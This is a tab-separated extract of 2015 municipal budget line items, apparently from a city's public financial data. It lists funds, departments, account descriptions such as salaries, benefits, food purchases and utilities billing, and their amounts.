15511	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2015	7698.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7698.0
15512	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522825.0	FOOD PURCHASES	848.0	 Supplies and Expenses	2015	1435.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1435.0
15513	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522825.0	FOOD PURCHASES	808.0	 Supplies and Expenses	2015	3600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3600.0
15514	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	522825.0	FOOD PURCHASES		 Supplies and Expenses	2015	105.0	0	0	0	0	0	0.0	0	0	0	0	0.0	105.0
15515	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404082.0	INTEREST - PROP 1B-BUSES	659.0	Investment Income	2015	-43908.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-43908.0
15516	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	579290.0	UTILITIES BILLING SERVICES	866.0	 Supplies and Expenses	2015	378633.0	0	0	0	0	0	0.0	0	0	0	0	0.0	378633.0
15517	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	5570.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5570.0
15518	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	579290.0	UTILITIES BILLING SERVICES	866.0	 Supplies and Expenses	2015	377707.0	0	0	0	0	0	0.0	0	0	0	0	0.0	377707.0
15519	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2015	8710.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8710.0
15520	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2015	2018.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2018.0
15521	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	5450.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5450.0
15522	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2015	69313.0	0	0	0	0	0	0.0	0	0	0	0	0.0	69313.0
15523	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2015	4072.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4072.0
15524	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522825.0	FOOD PURCHASES	816.0	 Supplies and Expenses	2015	3200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3200.0
15525	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522825.0	FOOD PURCHASES	816.0	 Supplies and Expenses	2015	955.0	0	0	0	0	0	0.0	0	0	0	0	0.0	955.0
15526	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2015	261.0	0	0	0	0	0	0.0	0	0	0	0	0.0	261.0
15527	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2015	2088.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2088.0
15528	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	405220.0	MAIN ST-LIGHTS & SIDEWLK CLEAN	622.0	Other	2015	-53220.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-53220.0
15529	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	406980.0	PBAD ASSESSMENT	622.0	Other	2015	-33641.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-33641.0
15530	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511010.0	ESTIMATED PAY RAISE		Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15531	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511490.0	OVERTIME		Salaries and Wages	2015	1447.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1447.0
15532	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511730.0	WORKERS' COMP INSURANCE		Salaries and Wages	2015	1087.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1087.0
15533	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511748.0	DENTAL		Salaries and Wages	2015	8540.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8540.0
15534	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511749.0	VISION		Salaries and Wages	2015	1029.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1029.0
15535	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511774.0	RETIREMENT - AS NEEDED		Salaries and Wages	2015	2093.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2093.0
15536	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		DCAP		Salaries and Wages	2015	504.0	0	0	0	0	0	0.0	0	0	0	0	0.0	504.0
15537	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522900.0	MEMBERSHIPS AND DUES		 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
15538	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	523001.0	FLEET MAINT RECON		 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15539	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	544010.0	SPECIAL DEPARTMENT SUPPLIES		 Supplies and Expenses	2015	6706.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6706.0
15540	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	555200.0	REIMBURSE ENGINEERING OFFICE	866.0	 Supplies and Expenses	2015	3242.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3242.0
15541	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		UNEMPLOYMENT	804.0	Salaries and Wages	2015	7099.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7099.0
15542	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2015	4419.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4419.0
15543	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2015	28250.0	0	0	0	0	0	0.0	0	0	0	0	0.0	28250.0
15544	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	555210.0	TRAINING	808.0	 Supplies and Expenses	2015	10618.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10618.0
15545	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	579290.0	UTILITIES BILLING SERVICES	866.0	 Supplies and Expenses	2015	131536.0	0	0	0	0	0	0.0	0	0	0	0	0.0	131536.0
15546	BA	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTEWATER	404580.0	BAYSAVER FEES	662.0	Other	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15547	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2015	721.0	0	0	0	0	0	0.0	0	0	0	0	0.0	721.0
15548	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	810.0	 Supplies and Expenses	2015	77399.0	0	0	0	0	0	0.0	0	0	0	0	0.0	77399.0
15549	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522130.0	UTILITIES - WATER		 Supplies and Expenses	2015	116976.0	0	0	0	0	0	0.0	0	0	0	0	0.0	116976.0
15550	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522160.0	TRANSFER STATION FEE		 Supplies and Expenses	2015	3625.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3625.0
15551	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522510.0	COMMUNITY OUTREACH		 Supplies and Expenses	2015	19690.0	0	0	0	0	0	0.0	0	0	0	0	0.0	19690.0
15552	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2015	6026.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6026.0
15553	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	323540.0	0	0	0	0	0	0.0	0	0	0	0	0.0	323540.0
15554	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522540.0	ADVERTISING	804.0	 Supplies and Expenses	2015	40000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	40000.0
15555	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		MEDICAL-POLICE RETIREE	806.0	Salaries and Wages	2015	125000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	125000.0
15556	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2015	300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	300.0
15557	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2015	11860.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11860.0
15558	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2015	288807.0	0	0	0	0	0	0.0	0	0	0	0	0.0	288807.0
15559	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		DCAP	808.0	Salaries and Wages	2015	1150.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1150.0
15560	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15561	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	560010.0	SCADA O & M	844.0	 Supplies and Expenses	2015	24266.0	0	0	0	0	0	0.0	0	0	0	0	0.0	24266.0
15562	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522130.0	UTILITIES - WATER	850.0	 Supplies and Expenses	2015	10464.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10464.0
15563	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	405221.0	PYMT-MAIN ST-LIGHTS & SIDEWLK	622.0	Other	2015	50500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	50500.0
15564	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2015	53819.0	0	0	0	0	0	0.0	0	0	0	0	0.0	53819.0
15565	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2015	5560.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5560.0
15566	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2015	3210.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3210.0
15567	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2015	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
15568	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2015	437.0	0	0	0	0	0	0.0	0	0	0	0	0.0	437.0
15569	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2015	1100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1100.0
15570	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544230.0	COMMUNITY SERVICES SU	810.0	 Supplies and Expenses	2015	34451.0	0	0	0	0	0	0.0	0	0	0	0	0.0	34451.0
15571	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555210.0	TRAINING	810.0	 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
15572	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2015	305.0	0	0	0	0	0	0.0	0	0	0	0	0.0	305.0
15573	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2015	212.0	0	0	0	0	0	0.0	0	0	0	0	0.0	212.0
15574	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2015	520.0	0	0	0	0	0	0.0	0	0	0	0	0.0	520.0
15575	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2015	1646.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1646.0
15576	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2015	700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	700.0
15577	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2015	434.0	0	0	0	0	0	0.0	0	0	0	0	0.0	434.0
15578	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2015	30496.0	0	0	0	0	0	0.0	0	0	0	0	0.0	30496.0
15579	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2015	213978.0	0	0	0	0	0	0.0	0	0	0	0	0.0	213978.0
15580	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2015	4206.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4206.0
15581	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2015	100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	100.0
15582	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2015	120000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	120000.0
15583	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2015	52471.0	0	0	0	0	0	0.0	0	0	0	0	0.0	52471.0
15584	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2015	150.0	0	0	0	0	0	0.0	0	0	0	0	0.0	150.0
15585	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2015	24768.0	0	0	0	0	0	0.0	0	0	0	0	0.0	24768.0
15586	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2015	1441.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1441.0
15587	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2015	1562.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1562.0
15588	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2015	6197.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6197.0
15589	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2015	59149.0	0	0	0	0	0	0.0	0	0	0	0	0.0	59149.0
15590	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2015	2889.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2889.0
15591	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2015	24036.0	0	0	0	0	0	0.0	0	0	0	0	0.0	24036.0
15592	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2015	1922.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1922.0
15593	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2015	727.0	0	0	0	0	0	0.0	0	0	0	0	0.0	727.0
15594	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2015	205289.0	0	0	0	0	0	0.0	0	0	0	0	0.0	205289.0
15595	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2015	62084.0	0	0	0	0	0	0.0	0	0	0	0	0.0	62084.0
15596	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2015	5170.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5170.0
15597	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2015	152459.0	0	0	0	0	0	0.0	0	0	0	0	0.0	152459.0
15598	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2015	2037.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2037.0
15599	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2015	366586.0	0	0	0	0	0	0.0	0	0	0	0	0.0	366586.0
15600	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		UNEMPLOYMENT	808.0	Salaries and Wages	2015	8806.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8806.0
15601	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2015	4279.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4279.0
15602	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2015	2036.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2036.0
15603	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2015	705.0	0	0	0	0	0	0.0	0	0	0	0	0.0	705.0
15604	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2015	6386.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6386.0
15605	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	405830.0	MEASURE R - OPERATING	658.0	Sales Tax	2015	-7528441.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-7528441.0
15606	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533680.0	CONF / MTGS / TRAVEL -	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15607	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2015	94506.0	0	0	0	0	0	0.0	0	0	0	0	0.0	94506.0
15608	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2015	4400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4400.0
15609	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511490.0	OVERTIME	810.0	Salaries and Wages	2015	43119.0	0	0	0	0	0	0.0	0	0	0	0	0.0	43119.0
15610	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2015	686874.0	0	0	0	0	0	0.0	0	0	0	0	0.0	686874.0
15611	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2015	13903.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13903.0
15612	BA	IS	52	Special Aviation Fund	500	PUBLIC WORKS	431	AIRPORT	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2015	-1700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1700.0
15613	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522500.0	BOARDS AND COMMISSIONS	810.0	 Supplies and Expenses	2015	2258.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2258.0
15614	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2015	21547.0	0	0	0	0	0	0.0	0	0	0	0	0.0	21547.0
15615	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15616	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522825.0	FOOD PURCHASES	816.0	 Supplies and Expenses	2015	4276.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4276.0
15617	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2015	1043.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1043.0
15618	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	407940.0	GREEN BUILDING	612.0	Charges for Service	2015	-231576.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-231576.0
15619	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2015	26511.0	0	0	0	0	0	0.0	0	0	0	0	0.0	26511.0
15620	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	12842.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12842.0
15621	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522620.0	RENT	808.0	 Supplies and Expenses	2015	109036.0	0	0	0	0	0	0.0	0	0	0	0	0.0	109036.0
15622	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2015	101523.0	0	0	0	0	0	0.0	0	0	0	0	0.0	101523.0
15623	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2015	780288.0	0	0	0	0	0	0.0	0	0	0	0	0.0	780288.0
15624	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2015	154611.0	0	0	0	0	0	0.0	0	0	0	0	0.0	154611.0
15625	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2015	1076.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1076.0
15626	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2015	150.0	0	0	0	0	0	0.0	0	0	0	0	0.0	150.0
15627	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544230.0	COMMUNITY SERVICES SU	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15628	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2015	441.0	0	0	0	0	0	0.0	0	0	0	0	0.0	441.0
15629	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2015	20879.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20879.0
15630	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2015	210.0	0	0	0	0	0	0.0	0	0	0	0	0.0	210.0
15631	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2015	1350.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1350.0
15632	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2015	39594.0	0	0	0	0	0	0.0	0	0	0	0	0.0	39594.0
15633	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2015	1750.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1750.0
15634	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2015	10435.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10435.0
15635	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2015	611.0	0	0	0	0	0	0.0	0	0	0	0	0.0	611.0
